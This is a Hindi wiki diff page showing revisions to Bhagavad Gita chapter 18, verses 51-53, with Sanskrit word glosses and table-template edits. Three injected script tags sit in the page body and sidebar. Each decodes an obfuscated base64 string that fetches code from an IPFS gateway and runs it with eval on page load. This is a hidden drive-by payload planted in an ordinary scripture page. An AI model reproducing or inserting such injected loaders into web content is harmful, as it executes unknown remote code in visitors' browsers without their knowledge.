"गीता 18:51-52-53" के अवतरणों में अंतर
छो (Text replace - '<td> {{महाभारत}} </td> </tr> <tr> <td> {{गीता2}} </td>' to '<td> {{गीता2}} </td> </tr> <tr> <td> {{महाभारत}} </td>') |
|||
(२ सदस्यों द्वारा किये गये बीच के ४ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
<table class="gita" width="100%" align="left"> | <table class="gita" width="100%" align="left"> | ||
<tr> | <tr> | ||
पंक्ति ३६: | पंक्ति ३६: | ||
|- | |- | ||
| style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | | style="width:100%;text-align:center; font-size:110%;padding:5px;" valign="top" | | ||
− | विशुद्धया = विशुद्ध ; बुद्धया = बृद्धि से ; युक्त: = युक्त ; विविक्तसेवी = एकान्त और शुद्ध देश का सेवन करनेवाला (तथा) ; लघ्वाशी = मिताहारी ; यतवाक्कायमानस: = जीते हुए मन वाणी शरीरवाला (और) ; वैराग्यम् = द्य्ढ वैराग्यको ; समुपाश्रित: = भली प्रकार प्राप्त हुआ | + | विशुद्धया = विशुद्ध ; बुद्धया = बृद्धि से ; युक्त: = युक्त ; विविक्तसेवी = एकान्त और शुद्ध देश का सेवन करनेवाला (तथा) ; लघ्वाशी = मिताहारी ; यतवाक्कायमानस: = जीते हुए मन वाणी शरीरवाला (और) ; वैराग्यम् = द्य्ढ वैराग्यको ; समुपाश्रित: = भली प्रकार प्राप्त हुआ पुरुष ; नित्यम् = निरन्तर ; ध्यानयोगपर: = ध्यानयोग के परायण हुआ ; धृत्या = सात्त्वि क धारणा से ; आत्मानम् = अन्त:करण को ; नियम्य = वशमें करके ; च = तथा ; शब्दादीन् = शब्दादिक ; विषयान् = विषयों को ; त्याक्त्वा = त्यागकर ; च = और ; रागद्वेषौ = रागद्वेषों को ; व्युदस्य = नष्ट करके |
अहंकारम् = अहंकार ; बलम् = बल ; दर्पम् = घमण्ड ; कामम् = काम ; क्रोधम् = क्रोध (और) ; परिग्रहम् = संग्रहको ; विमुच्य = त्यागकर ; निर्मम: = ममतारहित ; शान्त: = शान्त अन्त:करण हुआ ; ब्रह्मभूयाय = सच्चिदानन्दघन ब्रह्ममें एकीभाव होने के लिये ; कल्पते = योग्य होता है | अहंकारम् = अहंकार ; बलम् = बल ; दर्पम् = घमण्ड ; कामम् = काम ; क्रोधम् = क्रोध (और) ; परिग्रहम् = संग्रहको ; विमुच्य = त्यागकर ; निर्मम: = ममतारहित ; शान्त: = शान्त अन्त:करण हुआ ; ब्रह्मभूयाय = सच्चिदानन्दघन ब्रह्ममें एकीभाव होने के लिये ; कल्पते = योग्य होता है | ||
|- | |- | ||
पंक्ति ५७: | पंक्ति ५७: | ||
<td> | <td> | ||
{{गीता अध्याय}} | {{गीता अध्याय}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{गीता2}} | ||
+ | </td> | ||
+ | </tr> | ||
+ | <tr> | ||
+ | <td> | ||
+ | {{महाभारत}} | ||
</td> | </td> | ||
</tr> | </tr> | ||
</table> | </table> | ||
− | [[ | + | [[Category:गीता]] |
__INDEX__ | __INDEX__ |
१२:३०, २१ मार्च २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
गीता अध्याय-18 श्लोक-51, 52, 53 / Gita Chapter-18 Verse-51, 52, 53
|
||||||||
|
||||||||
|
||||||||
<sidebar>
__NORICHEDITOR__<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
</sidebar><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> |
||||||||
|
||||||||